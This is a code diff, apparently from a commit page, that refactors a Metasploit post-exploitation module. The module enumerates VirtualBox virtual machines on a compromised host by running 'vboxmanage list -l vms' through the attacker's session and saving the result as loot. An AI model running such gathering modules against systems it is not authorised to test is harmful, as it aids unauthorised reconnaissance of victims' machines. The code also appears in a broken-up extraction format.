@@ -16,10 +16,10 @@ def initialize(info={})
16
16
super ( update_info ( info ,
17
17
'Name' => 'Multi Gather VirtualBox VM Enumeration' ,
18
18
'Description' => %q{
19
- This module will attempt to enumerate any VirtualBox VMs on the target machine.
20
- Due to the nature of VirtualBox, this module can only enumerate VMs registered
21
- for the current user, thereforce, this module needs to be invoked from a user context.
22
- } ,
19
+ This module will attempt to enumerate any VirtualBox VMs on the target machine.
20
+ Due to the nature of VirtualBox, this module can only enumerate VMs registered
21
+ for the current user, thereforce, this module needs to be invoked from a user context.
22
+ } ,
23
23
'License' => MSF_LICENSE ,
24
24
'Author' => [ 'theLightCosine' ] ,
25
25
'Platform' => %w{ bsd linux osx unix win } ,
@@ -29,27 +29,37 @@ def initialize(info={})
29
29
30
30
def run
31
31
if session . platform =~ /win/
32
- res = session . shell_command_token_win32 ( '"c:\Program Files\Oracle\VirtualBox\vboxmanage" list -l vms' ) || ''
33
- if res . include? "The system cannot find the path specified"
34
- print_error "VirtualBox does not appear to be installed on this machine"
35
- return nil
36
- elsif res == "\n "
37
- print_status "VirtualBox is installed but this user has no VMs registered. Try another user."
38
- return nil
32
+ if session . type == 'meterpreter'
33
+ begin
34
+ res = cmd_exec ( 'c:\\Program Files\\Oracle\\VirtualBox\\vboxmanage' , 'list -l vms' )
35
+ rescue ::Rex ::Post ::Meterpreter ::RequestError
36
+ print_error ( 'VirtualBox does not appear to be installed on this machine' )
37
+ return nil
38
+ end
39
+
40
+ if res . empty?
41
+ print_status ( 'VirtualBox is installed but this user has no VMs registered. Try another user.' )
42
+ return nil
43
+ end
44
+ else
45
+ res = cmd_exec ( '"c:\\Program Files\\Oracle\\VirtualBox\\vboxmanage" list -l vms' )
46
+ if res . empty?
47
+ print_error ( 'VirtualBox isn\'t installed or this user has no VMs registered' )
48
+ return nil
49
+ end
39
50
end
40
51
elsif session . platform =~ /unix|linux|bsd|osx/
41
- res = session . shell_command ( 'vboxmanage list -l vms' )
42
- unless res . start_with? "Sun VirtualBox"
43
- print_error "VirtualBox does not appear to be installed on this machine"
44
- return nil
45
- end
46
- unless res . include? "Name:"
47
- print_status "VirtualBox is installed but this user has no VMs registered. Try another user."
52
+ res = cmd_exec ( 'vboxmanage list -l vms' )
53
+
54
+ unless res . start_with? ( 'Sun VirtualBox' ) || res . include? ( 'Name:' )
55
+ print_error ( 'VirtualBox isn\'t installed or this user has no VMs registered' )
48
56
return nil
49
57
end
50
58
end
51
- print_good res
52
- store_loot ( 'virtualbox_vms' , "text/plain" , session , res , "virtualbox_vms.txt" , "Virtualbox Virtual Machines" )
59
+
60
+ vprint_status ( res )
61
+ store_path = store_loot ( 'virtualbox_vms' , "text/plain" , session , res , "virtualbox_vms.txt" , "Virtualbox Virtual Machines" )
62
+ print_good ( "#{ peer } - File successfully retrieved and saved on #{ store_path } " )
53
63
end
54
64
55
65
0 commit comments